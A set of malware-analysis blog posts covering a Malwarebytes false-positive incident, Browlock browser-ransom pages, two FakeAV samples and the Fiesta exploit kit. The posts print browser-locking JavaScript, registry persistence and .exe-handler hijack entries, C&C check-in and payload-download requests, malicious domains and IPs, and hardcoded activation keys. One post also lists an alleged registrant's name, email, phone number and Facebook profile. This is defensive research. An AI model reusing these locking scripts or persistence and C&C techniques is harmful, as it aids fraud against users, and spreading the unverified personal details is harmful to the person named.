A while back on April the 15th posts began to appear on the Malwarebytes forums regarding issues with the detection of malware. Suddenly it seemed to identify parts of the operating system as well as itself as malware

C:\Windows\System32\SessEnv.dll (Trojan.Downloader.ED) -> No action taken. [2c3c895fbbb0b97dfa37ff68d42fc63a]
C:\Windows\System32\upnphost.dll (Trojan.Downloader.ED) -> No action taken. [f1772bbd0a61f343e64b0463e3206898]
C:\Windows\System32\wcncsvc.dll (Trojan.Downloader.ED) -> No action taken. [35339a4ef07b2b0b6dc48dda8a79b749]
C:\Windows\System32\WebClnt.dll (Trojan.Downloader.ED) -> No action taken. [3a2e0adea3c82016c46d4720f21122de]
C:\Windows\System32\WsmSvc.dll (Trojan.Downloader.ED) -> No action taken. [e7815f897dee56e036fbf374e91af60a]

It even started to detect itself as malware ( a good clue something has gone horribly wrong )

C:\Program Files (x86)\Malwarebytes’ Anti-Malware\mbam.exe (Trojan.Downloader.ED) -> No action taken. [0365915779f2d16560d1a6c139cabf41]
C:\Program Files (x86)\Malwarebytes’ Anti-Malware\mbamscheduler.exe (Trojan.Downloader.ED) -> No action taken. [d29647a1b2b9b18573be363108fb42be]
C:\Program Files (x86)\Malwarebytes’ Anti-Malware\mbamservice.exe (Trojan.Downloader.ED) -> No action taken. [1e4ad612fc6f0a2c3af7ce9941c2ab55]

As seen in the topic http://forums.malwarebytes.org/index.php?showtopic=125127 it started to identify running processes, registry entries and files stored on the hard disk.

The developers were quick to put out updates to resolve the issue and even supplied a tool to fix the issues. As posted by Marcin Kleczynski on the Malwarebytes blog it was fixed within minutes:

Within 8 minutes, the update was pulled from our servers.

So what went wrong ? To figure that out we have to find out how the updating system works to try and get the appropriate definition files we need. The one from when the bad signatures were added and the fixed definition files published. From a post by a user called “catscomputer” in this thread I found that it seemed to be an update to “v2013.04.15.12” that broke the operating systems. The update that fixed the issue was “v2013.04.15.13” according to a Malwarebytes employee on the forums called “Maurice Naggar”.

Turning on Wireshark gives a rundown of what Malwarebytes does when updating (I made this capture while writing this blogpost). The first thing it does is check if the program is the latest version, this is followed by some news messages being checked for ( I think, not completely sure ). All the requests go to “data-cdn.mbamupdates.com” for the updates. But at the end it does the part I’m interested in, it updates the definition files. It starts off by requesting the latest definition file:

GET /v1/database/rules/version.chk HTTP/1.1

Which in my case returned “v2013.06.27.09” which was a database I did not have yet ( for the purpose of being able to show the upgrade process I made sure mine was outdated ).

So with this new information it starts to request this definition file’s information file, this is a yaml structured file describing its size, a hash to check on after downloading and some extra metadata. The request:

GET /v1/database/rules/data/rules.v2013.06.27.09.ref.yaml HTTP/1.1

And the response from the update server:

filename: rules.v2013.06.27.09.ref
version:
previous: v2013.06.27.08
current: v2013.06.27.09
date: Thu, 27 Jun 2013 16:32:13 GMT
package:
size: 6616865
md5: cc8b2b2ace236d10eb833d9d3b46e23a
format: legacydb
content:
size: 26780341
md5: 318dd700ef1ac0b26b2eb2cf38d90cd4
format: legacydb
metadata:
size: 323

Now in my case it looked like it was doing an incremental update for the day, it did the following requests:

GET /v1/database/rules/data/rules.v2013.06.27.08_v2013.06.27.07.ref.inc HTTP/1.1

But this did give me a binary blob which seemed to be the definitions file.

Side-note, whoever is managing the update servers for Malwarebytes added some extra X forwarded headers to the responses:

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=7200
Content-MD5: TtzBRPrw2mTl+UYhEYzMvw==
Content-Type: text/plain
Date: Thu, 27 Jun 2013 16:51:37 GMT
ETag: “8b6-4e02516192100”
Expires: Thu, 27 Jun 2013 18:51:37 GMT
Last-Modified: Thu, 27 Jun 2013 16:16:36 GMT
Server: ECAcc (ams/489A)
x-admin: tedivm was here.
X-Cache: HIT
x-shameless-plug: Looking for a dev job? Send your resume to jobs@malwarebytes.org
Content-Length: 2230
Connection: close

I’m assuming tedivm is the handle of one of the admins, nice touch with the “x-shameless-plug” headers though!

So now we know how it works in terms of getting the updates, but what about the two definition files we want, “v2013.04.15.12” and “v2013.04.15.13”. Well, we can just request them like so:

GET /v1/database/rules/data/rules.v2013.04.15.12.ref HTTP/1.1
GET /v1/database/rules/data/rules.v2013.04.15.13.ref HTTP/1.1

This gives us two binary blobs, one with a size of 6.294.406 bytes, and one with a size of 6.294.350 bytes, not a big change but they did remove something.

There is one issue with these update files… they are encrypted. I will not show you how to decrypt them but after attaching OllyDbg and doing some reversing with the help of a buddy of mine we figured out how to decrypt the files, end of that story. We now ended up with the decrypted files, time for some diff'ing!

VOFFSET=Trojan.Downloader.ED, 74433, 1, 6, 687474703A2F2F36342E36342E32302E35302F32373753457236372E657865, NS
VOFFSET=Trojan.Downloader.ED, 74485, 1, 14 687474703A2F2F6674702E74636D6C732E6F72672F7172415165562E657865, NS

And the description “Trojan.Downloader.ED” is the one described to cause the trouble on the forum posts linked earlier. So how exactly do these rules work, I can’t say for sure that I am 100% correct on this but this is what I’ve got:

VOFFSET: Some kind of offset byte matching, whatever is after the equals sign is the description
74433 and 74485 seem to be signature identifiers, SID’s if you will.
1, 6 and 1, 14 seem to be some kind of range, but I’ll get back with that.
687474703A2F2F36342E36342E32302E35302F32373753457236372E657865: Is a byte pattern for hxxp://64.64.20.50/277SEr67.exe which is related to this piece of malware on VT [link]
687474703A2F2F6674702E74636D6C732E6F72672F7172415165562E657865: Is a byte pattern for hxxp://ftp.tcmls.org/qrAQeV.exe which is related to a ponyloader malware loader sample [link]
NS: No clue what this is for….

What I think happened with these rules are the offsets being incorrect or misinterpreted. The range of 1-6 in the first rule will give “http:” and the other range for 1-14 will give “http://ftp.tc” if you use those ranges as delimiters for the strings those byte patterns match. My guess is that the “http:” started to match everywhere… maybe the NS is a flag to hint that partial matching is fine, who knows.

I checked some of the files that MBAM started to detect as malware by just using the Linux “strings -el <filename>” and grepped for the “http:” string from the byte pattern. All of the files I got from the logs posted on the forums contained those strings so I’m guessing thats what went wrong.

In the end the Malwarebytes devs fixed the issue within minutes of appearing and provided appropriate tooling to fix the issues caused by this ‘mismatch’ for the less experienced users. The whole mess was caused by just two simple rules within a file that contains around 227.000~ in total, not bad. All testing was done with the free version of Malwarebytes.

It was a fun thing to figure out both the encryption and the actual definition files themselves, I’ve even gone as far as playing around by pushing my own byte patterns in custom rule files just to see if it worked, which it did ;) Also a big thank you to my sleep deprived buddy for the decryption tool made at 4~ AM, he writes articles on his blog at http://www.r3v3rs3r.com/.

It seems our ransomware friends have decided to go on an easier path. Instead of having to infect machines they now just hijack the browser. This is done via advertisements. Where you would normally get an exploit kit to drop the ransomware on the machine it is now just a website. It does not load an exploit kit, no malware just a webpage.

Edit: It was pointed out to me that this is ‘Browlock’ as described here by F-Secure: http://www.f-secure.com/weblog/archives/00002590.html

They do some tricks to fool the average home user into thinking their PC might be locked. It doesn’t allow the tab / browser to just be closed, it shows some nag messages as well disable any clicking or context menu interaction. But just killing the process or holding the enter key when the nag messages start will solve the problem of the 'locking’. There is no locking of files or locking the actual browser, just javascript snippets to convince the user.

I’ve found they are currently targeting 24 countries with unique templates for each of them. These ransomware pages accept Ukash, PaySafeCard or MoneyPak as payment options.

The page itself it far from interesting, it is the usual “You have committed a crime! You must pay X amount of currency to unlock all your PC”. The only nagging part about these browser ransomware pages are the little snippets to disallow you from leaving the page. It has some javascript to disable copy pasting and the right mouse button context menu:

document.ondragstart = test;
document.onselectstart = test;
document.oncontextmenu = test;
function test() {
return false;
}
document.oncontextmenu;
function catchControlKeys(event){
var code=event.keyCode ? event.keyCode : event.which ? event.which : null;
if (event.ctrlKey){
// Ctrl+U
if (code == 117) return false;
if (code == 85) return false;
// Ctrl+C
if (code == 99) return false;
if (code == 67) return false;
// Ctrl+A
if (code == 97) return false;
if (code == 65) return false;
}
}

The snippet below is inserted a couple hundred times to nag users when they try to close the browser or tab:

<iframe srcdoc=“<script>window.onbeforeunload = function(env){return '< Automated translated setence saying your browser is locked and you should pay to unlock it >';}</script>” src=“about:srcdoc”></iframe>

All the payment processing is done by posting the entered payment numbers to:

hxxp://r0849(dot)com/checkout.php

Manually visiting this page redirects you to another ransomeware page.

Everything runs on the same machine with IP: 91.220.131.108

This IP currently has the following domains pointing to it:

c4665.com
e6795.com
f3145.com
h6785.com
i4578.com
k3789.com
o4854.com
o7677.com
p8569.com
q3754.com
r2976.com

The URLs generated for every country look like this, they append the local police force website onto generated subdomains:

Europe & UK: hxxp://europol.europe.eu.id364371920-5491007860.o4854(dot)com/
Czech Republic: hxxp://policie.cz.id455880108-5968240394.h6785(dot)com/
Canada: hxxp://rcmp.gc.ca.id721724926-7498905753.r2976(dot)com/
United States: hxxp://fbi.gov.id387812644-6709187810.e6795(dot)com/
Germany: hxxp://polizei.de.id266579833-2035509219.i4578(dot)com/
Italy: hxxp://polizia-penitenziaria.it.id712283838-1811947395.p8569(dot)com/
Netherlands: hxxp://politie.nl.id522334837-5248227971.r2976(dot)com/
Austria: hxxp://polizei.gv.at.id177526156-2149008243.o4854(dot)com/
Denmark: hxxp://politi.dk.id509546739-3505227551.r2976(dot)com/
France: hxxp://europol.europe.eu.france.id823656192-4927072568.k3789(dot)com/
New Zealand: hxxp://police.govt.nz.id766652922-6891458535.o4854(dot)com/
Poland: hxxp://policja.pl.id806404301-7879340615.f3145(dot)com/
Spain: hxxp://policia.es.id958212377-8394545408.o4854(dot)com/
Sweden: hxxp://polisen.se.id818801983-2087236659.i4578(dot)com/
Turkey: hxxp://egm.gov.tr.id186914923-5094277828.o4854(dot)com/
Switzerland: hxxp://polizei.ch.id560198569-4965186385.o7677(dot)com/
Slovakia: hxxp://minv.sk.id883808210-3960124383.e6795(dot)com/
Norway: hxxp://politi.no.id784951924-4464159024.f3145(dot)com/
Luxembourg: hxxp://police.public.lu.id299505676-9305979884.r2976(dot)com/
Latvia: hxxp://vp.gov.lv.id735112767-9538979416.o7677(dot)com/
Hungary: hxxp://police.hu.id718033610-3265846964.c4665(dot)com/
Estonia: hxxp://politsei.ee.id429231001-7999764185.k3789(dot)com/
Belgium: hxxp://polfed-fedpol.be.id814998705-3053255312.e6795(dot)com/
Portugal: hxxp://psp.pt.id741374536-8129614885.s4583(dot)com/
Finland: hxxp://poliisi.fi.id252161139-4927948242.q3754(dot)com/
Australia: hxxp://afp.gov.au.id252161139-4927948242.q3754(dot)com/

Appending ’/?result=success’ to these URLs will show you the screen of when a payment is successful, appending ’/?result=fail’ will show you the screen when a wrong code is used. When a user 'successfully’ unlocks the 'ransomware’ by paying he/she will get a message saying their browser will be unlocked in 12 hours.

And here is a list of all the templates used for all the different countries they target:

Edit: Added Mexican and Irish template design thanks to Kafeine!
Edit 2: Added Portuguese, Finish and Australian design thanks to Kira 2.0!

Finland

Australia

United States

Portugal

Mexico

Ireland

Austria

Canada

Switzerland:

Czech Republic

Germany

Denmark

Estonia

Spain

Europe (Generic) & UK

France

Hungary

Italy

Luxembourg

Latvia

Netherlands

Norway

New Zealand

Poland

Sweden

Slovakia

Turkey

This is another one in the FakeAV family although less aggressive. When I started analyzing it the detection was 2/47 on VT, right now its at 31/47: https://www.virustotal.com/en/file/69ded14a0d53cebfed8309cea164a77eb8cf9257a42079a943433fcf652efa69/analysis/1379311654/

This sample dropped from Neutrino and first showed itself by having a desktop shortcut together with an icon in the tray.

But before any of this happens it will spawn the default browser and wait until it gets confirmation from this that the machine has an active internet connection.

After it has confirmed it has internet connectivity it will install itself, this is done by writing a copy of itself together with its additional files to:

%appdata%\xtendr\
%appdata%\xtendr\app.ico
%appdata%\xtendr\support.ico
%appdata%\xtendr\uninst.ico
%appdata%\xtendr\<Random Named.exe>
%appdata%\xtendr\xtuis.txt
%appdata%\xtendr\xtx.txt

The ‘xtendr’ name will change in the future as older version have been seeing installing in 'ifdstore’. Next to creating files on disk it also modified the registry. First it makes sure it will be started at boot:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
“xtfgsvc”=“C:\Documents and Settings\All Users\Application Data\xtendr\1dftrh6y5et4weafwafwafwaf.exe /min”

It also adds keys to the uninstall registry for windows, although the uninstall will not do anything its there to convince the user it is legit:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\xtendr]
“DisplayName”=“Titan Antivirus 2013”
“InstallLocation”=“C:\Documents and Settings\All Users\Application Data\xtendr”
“UninstallString”=“C:\Documents and Settings\All Users\Application Data\xtendr\1dftrh6y5et4weafwafwafwaf.exe /tout”
“DisplayIcon”=“C:\Documents and Settings\All Users\Application Data\xtendr\1dftrh6y5et4weafwafwafwaf.exe,0”

The last modification it does to the registry is install itself as the shell extension handlers for ’.exe’. This is so it can catch any application that the user tries to start, it will then flag these as 'malicious’ I will show that later in the blog. The registry entries for this shell extension looks like this:

[HKEY_CURRENT_USER\Software\Classes.exe]
@=“4g” “Content Type”=“application/x-m”
[HKEY_CURRENT_USER\Software\Classes.exe\DefaultIcon]
@=“%1”
[HKEY_CURRENT_USER\Software\Classes.exe\shell]
[HKEY_CURRENT_USER\Software\Classes.exe\shell\open]
[HKEY_CURRENT_USER\Software\Classes.exe\shell\open\command]
@=“"C:\Documents and Settings\All Users\Application Data\xtendr\1dftrh6y5et4weafwafwafwaf.exe" /ex "%1" %*” “IsolatedCommand”=“"%1" %*”
[HKEY_CURRENT_USER\Software\Classes.exe\shell\runas]
[HKEY_CURRENT_USER\Software\Classes.exe\shell\runas\command]
@=“"%1" %*” “IsolatedCommand”=“"%1" %*”

It will then start it’s check-in procedures to set itself up on the infected machine:

GET /cmd/check/ HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)
Host: check.getonlineupdatesage.org
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.4.2
Date: Mon, 09 Sep 2013 19:55:26 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.17-1~dotdeb.0

1e
@check.getonlineupdatesage.org
0

This tells the application it has been registered and can start its multi-stage check-in at stage 1 (1e) at the domain check.getonlineupdatesage.org. Do note how the useragent is MSIE 9.0, this is hard-coded it does not look at the OS for the used browser. The bot starts its check-ins to confirm all data and get information from the C&C:

GET /cmd/s/?stage=1&uid=a9798eb0b5d60b4c93064f994f3ab9f0&id=10&subid=21&os=1&avf=0 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)
Host: check.getonlineupdatesage.org
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/1.4.2
Date: Mon, 09 Sep 2013 19:55:27 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.17-1~dotdeb.0

2
ok
0

It reports the unique identifier for this infection, the id (possibly for the type of payload, unsure), subid (also unknown for me), the os version and avf (unknown). It gets back an OK that all is fine and proceeds to stage 2 but first it downloads a crypted blob of data:

GET /cmd/ui/?uid=a9798eb0b5d60b4c93064f994f3ab9f0 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)
Host: check.getonlineupdatesage.org
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/1.4.2
Date: Mon, 09 Sep 2013 19:55:27 GMT
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.17-1~dotdeb.0

1eb0
..g..6.{O.r…i`.i…r.K;.6…K…g..6.;O.r…i..i…r.O;.6..g………Z=…|….=…s.n……….g..6..E…i….:.H…oU.D…1…… ?b79..t……..M.C3…………Gk79..t……].

The total size of this blob is 1.15mb, looking at the files on disc we can see one of these files is the downloaded blob

Looking at the data it seems to hold the config for where it should connect to as well as the graphical interface. The main loader that is started at boot and initially infects the system is only 43kb. After it has downloaded this it will start up and start itself (showing the tray icon). It will report back telling it successfully installed:

GET /cmd/s/?stage=2&uid=a9798eb0b5d60b4c93064f994f3ab9f0&success=1 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)
Host: check.getonlineupdatesage.org
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/1.4.2
Date: Mon, 09 Sep 2013 19:55:29 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.17-1~dotdeb.0

2
ok
0

The application does not work as aggressively as most FakeAV’s do. It does not block interaction with explorer and the rest of windows. It will not popup on its own with the main screen. It will hint the user something is 'wrong’ via fake messages of scans, vulnerabilities it sees and when you start any application it will tell you it is infected:

All these messages are obviously fake just try to get the user to activate the 'antivirus’. When a user decides to look around before activating you will get tons of messages of disabled functionality because it hasn’t been activated yet:

When trying to change any of these settings a popup will appear forcing you to activate and pay for the product before you can change any of these settings. You can however 'update' the antivirus database, traffic wise this does nothing its all for show it doesn’t make any connections:

After a while is will also start nagging on the main window asking to be activated:

The activation codes are checked when entering false / incorrect keys:

So it seems it really needs to get an activation code from the C&C. Pressing the purchase later button will hide the activation window for a while but it will keep nagging with it until the user complies. When you press the 'Purchase Now’ button a request is made to the payment server:

GET /cmd/b/?uid=a9798eb0b5d60b4c93064f994f3ab9f0 HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: mycoolthingsonlinenow.com
Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.4.2
Date: Mon, 09 Sep 2013 19:57:37 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.17-1~dotdeb.0
location: hxxp://secfastpay.com/p/?group=fta&nid=a9798eb0b5d60b4c93064f994f3ab9f0&lid=1&affid=00000

0

The request forwards the client via a 302 to the payment page hosted on 'secfastpay.com’ the request to this looks as follows (it also forwards the client further):

GET /p/?group=fta&nid=a9798eb0b5d60b4c93064f994f3ab9f0&lid=1&affid=00000 HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: secfastpay.com
Connection: Keep-Alive

HTTP/1.1 302 FOUND
Server: nginx/1.0.15
Date: Mon, 09 Sep 2013 17:07:57 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Location: hxxp://secfastpay.com/p/fta/?lid=1&group=fta&reject_url=http%3A%2F%2Fsecfastpay.com%2Fp%2Fdecline%2F%3Flid%3D1%26group%3Dfta%26nid%3Da9798eb0b5d60b4c93064f994f3ab9f0%26affid%3D00000%26ver%3D1&nid=a9798eb0b5d60b4c93064f994f3ab9f0&affid=00000&ver=1
Set-Cookie: pf=u; Path=/

0

GET /p/fta/?lid=1&group=fta&reject_url=http%3A%2F%2Fsecfastpay.com%2Fp%2Fdecline%2F%3Flid%3D1%26group%3Dfta%26nid%3Da9798eb0b5d60b4c93064f994f3ab9f0%26affid%3D00000%26ver%3D1&nid=a9798eb0b5d60b4c93064f994f3ab9f0&affid=00000&ver=1 HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: secfastpay.com
Connection: Keep-Alive
Cookie: pf=u

HTTP/1.1 200 OK
Server: nginx/1.0.15
Date: Mon, 09 Sep 2013 17:07:57 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive

f77
<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” “http://www.w3.org/TR/html4/loose.dtd”>

The start of the ’<!DOCTYPE HTML’ is the payment page, on the client it now looks like this:

99.99$ for a full year… I did not check the full extend of this payment system. After some reversing I got the key out of it which allows me to activate the application, the key is hardcoded and works for all samples it is not based on any machine ID’s:

1O2Z3L4W5I6T7F8Q9C1N2Y3K4V5H6S7E

The program will report that it is successfully activated by the user:

After activating the program is finally happy allowing you to clean up the 'infections’ found while scanning:

And it will start cleaning up:

Now would you scan it will never find anything anymore:

The now activated program allows the user to change all settings in the configuration panel. The 'Start with Windows’ will actually work, disabling this will disable the FakeAV from starting.

When the user registers with the key it also writes a small lock-file to called 'xtrk.dat’ this contains the key used to activate. This is so the next time it runs it knows it is already activated.

The domains involved in this FakeAV scam:

mycoolthingsonlinenow.com
getonlineupdatesage.org
getonlineupdatesace.biz
secfastpay.com
rxprogress.com

The IP’s seen with this FakeAV scam:

195.20.141.33
195.20.141.34
195.20.141.35
109.236.80.29
109.236.80.243

While all the payment processing domains (secfastpay and rxprogress) are registered with whoisguard it seems the other domains used for the FakeAV checkin do not, they are registered with the following information:

Niels Harris (<nyashikos@gmail.com)
+7.501835203
Fax:
Lenina 34
Moscow, NE 87208
RU

The address refers to an apartment building in Moscow, checking the email address we find an attached facebook profile:

https://www.facebook.com/kawaiko.nyashne

With only a single friend who then has 2 friends and then it fans out quite rapidly. Could be the guy behind it or just an identity they are abusing….

After finding the Neutrino exploit kit implemented CVE-2013-2551 around the 10th of September I noticed a couple of days ago Fiesta also started to serve this exploit. This blog entry is a general writeup about the Fiesta exploit kit and shows CVE-2013-2551 to exploit MSIE 6 through 10 as an example.

One thing to note about Fiesta is the way it serves exploits. It checks browser / plugin versions and determines to which exploit these are vulnerable and serves all of them. This means going to a Fiesta landing page with multiple vulnerable products leads to the client receiving exploits for all of these.

I got a hit in my VM for Fiesta trying to exploit my MSIE instead of the usual Java, PDF, Flash exploitation:

GET http://<domain> .tld/zxj3iyd/?2
200 OK (text/html) (VT: 0/48)

GET http://<domain> .tld/zxj3iyd/?2a59067246c00d795b045902020d030204530202045407090753010b53520e51
200 OK (text/html) (VT: 1/48)

GET http://<domain> .tld/zxj3iyd/?4579dd69c9446375514d5202565f020902070002500606020107030b07000f5a;1;3
200 OK (application/octet-stream) (VT: 22/48)

Looking at the initial landing page we get the usual obfuscated Javascript, while hiding its true purpose it is obvious to notice.

Looking at the correctly indented and formatted landing page you can spot a pattern used by the Javascript obfuscator used by the authors of this exploit kit. You see recurring patterns looking like this:

y = ‘iD3DPOO8’;
x = 22;
i = hoy(y, x);
u = 'iP0ZP6hDrj4bDReNO8rrj157bR’;
a = 22;
p = hoy(u, a);

This pattern is the result of a method of Javascript to index the properties of an object. Normal requests like these would look like 'somestring.length’ but in this case they would get the property value as 'somestring['length’]’. The obfuscated strings here, indicated by the var’s y and u are these strings to get the properties of an object. These strings are decrypted using an equally as obfuscated function. Here’s my rewritten version of the string decrypter:

The key used in this example was taking from the landing page my VM received (from the screenshot). Now if we pass the values from before through this function we get:

decrypt(’iD3DPOO8’,22);==>“body”

decrypt(’iP0ZP6hDrj4bDReNO8rrj157bR’,22);==>“createElement”

This pattern of obfuscation goes on throughout the whole page. After cleaning up these encrypted strings and the general layout of the code you will end up with something similar like this:

From this we can determin Fiesta currently targets:

Java
- Java SE 7 Update 2 and earlier, 6 Update 30 and earlier, and 5.0 Update 33 and earlier CVE-2012-0507
- Java SE 7 Update 21 and earlier, 6 Update 45 and earlier, and 5.0 Update 45 and earlier CVE-2013-2463
- Java SE 7 Update 15 and earlier, 6 Update 41 and earlier, and 5.0 Update 40 and earlier CVE-2013-1493
Microsoft Internet Explorer
- Microsoft Internet Explorer 6 through 10 CVE-2013-2551
Adobe Flash
- Adobe Flash Player before 10.3.183.51 and 11.x before 11.5.502.149 CVE-2013-0634
Adobe PDF
- Adobe Reader and Acrobat 8.x before 8.3, 9.x before 9.4.5, and 10.x before 10.1 CVE-2011-2104

The interesting part here is the Internet Explorer exploit which I saw the Neutrino exploit kit implement earlier. If we look at the deobfuscated exploit we can clearly see CVE-2013-2551 having been implemented by the authors of Fiesta:

If you want to read exactly how this exploit works I suggest you read the excellent article by the original team that discovered it, VUPEN, read their article here: Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013)

Personally I do not see the Fiesta exploit kit that often, this might be me looking in the wrong places or I’m not in the targeted countries. From what I can tell from the panel Fiesta is quite a simple setup but this could be wrong, the interface doesn’t say much about the whole back-end. Would you rent the Fiesta exploit kit your panel looks something like this (original image from abuse.ch):

Another one of the FakeAV’s, this time it is called “Security Cleaner Pro”. The detection is quite low, 4/48 on VT for the loader and 8/48 for the payload.

Loader 2a8038d3acd963e804ca38a912ba116b : VirusTotal
Payload 8d15016f249274158e0472a02f9de00e : VirusTotal

Analysis

This sample dropped from Blackhole and installed itself as usual with a shortcut on the desktop and active in the system tray.

When the loader starts it will try setting up a connection with the C&C to report a new install for the loader. After this it requests a payload. This payload will also check-in to tell it has properly installed. After that the FakeAV payload will do check-ins at a regular interval to confirm payment to the C&C. On a network level this looks like this step by step:

GET http://<domain> .tld/index/install/?id=<system id>&os=(xp|win7|win8)(pro)?sp[0-9]&advertid=[0-9]{5}&type=1
200 OK (text/html)

GET http://<domain> .tld/index/getsoft/?id=<unique_system_id>&os=<os_info>&advertid=<affiliate_id>&type=1
200 OK (application/octet-stream)

GET http://<domain> .tld/index/install/?id=<system id>&os=(xp|win7|win8)(pro)?sp[0-9]&advertid=[0-9]{5}&type=2
200 OK (text/html)

GET http://<domain>.tld/index/checklic/?id=<system id>&os=(xp|win7|win8)(pro)?sp[0-9]
200 OK (text/html)

As you can see the install checking with type 1 is the loader and type 2 is the actual FakeAV payload. We get an non-crypted payload back.

After the payload has been downloaded it is copied to:

C:\Documents and Settings\All Users\Start Menu\Programs\Startup\shl.exe

The filename is fixed and always seem to be the same. One thing to note is that other versions I had installed in %appdata% and set a startup key instead of dropping in the startup folder, like so:

[ HKU\S-1-5-21-842925246-1425521274-308236825-500\Software\Microsoft\Windows\CurrentVersion\Run ], 
"ProtSoftware Inc" = "C:\Documents and Settings\All Users\Application Data\shl.exe"

The filename shl.exe seems to be fixed since earlier versions as well.

After having setup itself the application starts with the usual infected scan information:

So yes the usual, we are infected! Now before digging into the activation lets look around at the applications. It features (fake) updating:

The rest of the application shows generic options which are all (obviously) fake and have no function.

You can also contact the support desk via email if you click the button at the top:

From time to time there is also a fake Windows Security Center popup to warn you to activate the AV, the entire dialog is an image and clicking anywhere just brings the FakeAV to the front:

Another trick this FakeAV does is hijack the browser, only Internet Explorer. When a new process is spawned it will check the filename, if its named ‘iexplorer.exe’ it will let it run, otherwise it will be killed. Funny enough it doesn’t seem to be able to pick up new processes fast enough so if you just start your debugger 5-10 times fast one of them will not be killed.

The injection in IE looks like this when trying to browse anywhere:

Lets look at the activation of this 'product’. When you click register you will get a page looking really familiar, it seems to be a generic payment template also used by the Titan AV I wrote about some time ago.

We can pay or put in a registration key ourselves

If we cancel we get a warning message of how we are unprotected.

And if we enter the wrong information we get a warning.

So we open up our debugger and we figure out how the check works:

00407F62 |> 50            PUSH EAX                                 ; /String2
00407F63 |. 51            PUSH ECX                                 ; |String1
00407F64 |. FF15 BC704100 CALL DWORD PTR DS:[<&KERNEL32.lstrcmpiW> ; \KERNEL32.lstrcmpiW
00407F6A |. 8BD8          MOV EBX,EAX
00407F6C |. F7DB          NEG EBX
00407F6E |. 1ADB          SBB BL,BL
00407F70 |. 6A 01         PUSH 1                                   ; /Arg1 = 1
00407F72 |. 33FF          XOR EDI,EDI                              ; |
00407F74 |. 8D75 9C       LEA ESI,[EBP-64]                         ; |
00407F77 |. E8 63260000   CALL 0040A5DF                            ; \security_cleaner_pro.0040A5DF
00407F7C |. FEC3          INC BL
00407F7E |. 74 2B         JZ SHORT 00407FAB
00407F80 |. 6A 40         PUSH 40                                  ; /Type = MB_OK|MB_ICONASTERISK|MB_DEFBUTTON1|MB_APPLMODAL
00407F82 |. 68 64C74100   PUSH OFFSET 0041C764                     ; |Caption = “Information”
00407F87 |. 68 7CC74100   PUSH OFFSET 0041C77C                     ; |Text = “Thank you for registering!”
00407F8C |. FF75 98       PUSH DWORD PTR SS:[EBP-68]               ; |hOwner => [ARG.EBP-68]
00407F8F |. FF15 20724100 CALL DWORD PTR DS:[<&USER32.MessageBoxW> ; \USER32.MessageBoxW

A simple string compare with the real key, so to activate this FakeAV we can use the following key which is hard-coded in all the bins I’ve tried. The key:

YKGVWHVSFETPXBIMDXUJSUYGPRADAOHZ

Now we are licensed and we can 'clean’ the infections found during the scan. We are now also allowed to start new applications.

And as we can expect after registration any new scan turns up no infections.

Command and Control Server(s)

So with this FakeAV there are 4 dedicated C&C servers which form the backend. The initial domain seen with the first version I got was wirejournal.biz, after a day or so I got a new hit on lenderspoker.in. All the domains have multiple A-records pointing to:

188.93.210.164 - Russian Federation Moscow Ltd Hosting Service
109.234.154.254 - Russian Federation Saint Petersburg Ooo Network Of Data-centers Selectel
109.120.150.95 - Russian Federation Saint Petersburg Zao National Telecommunications
91.240.22.98 - Ukraine Donets'k Wibo Project Llc

After some more checking I was able to find more domains used by these IP’s. Not sure what all these are for but its a somewhat big list for just a FakeAV:

blogscifi.info
corporationsbenefits.info
hichspeedtest.com
high-speed-dns.com
journalvillepremium.info
lenderspoker.in
lite-interserve-promo.com
mapaddiction.biz
ntbook.ru
podcastbots.info
psychologistdrive.info
requiresearch.info
testingadvisor.info
wirejournal.biz
woolis.ru

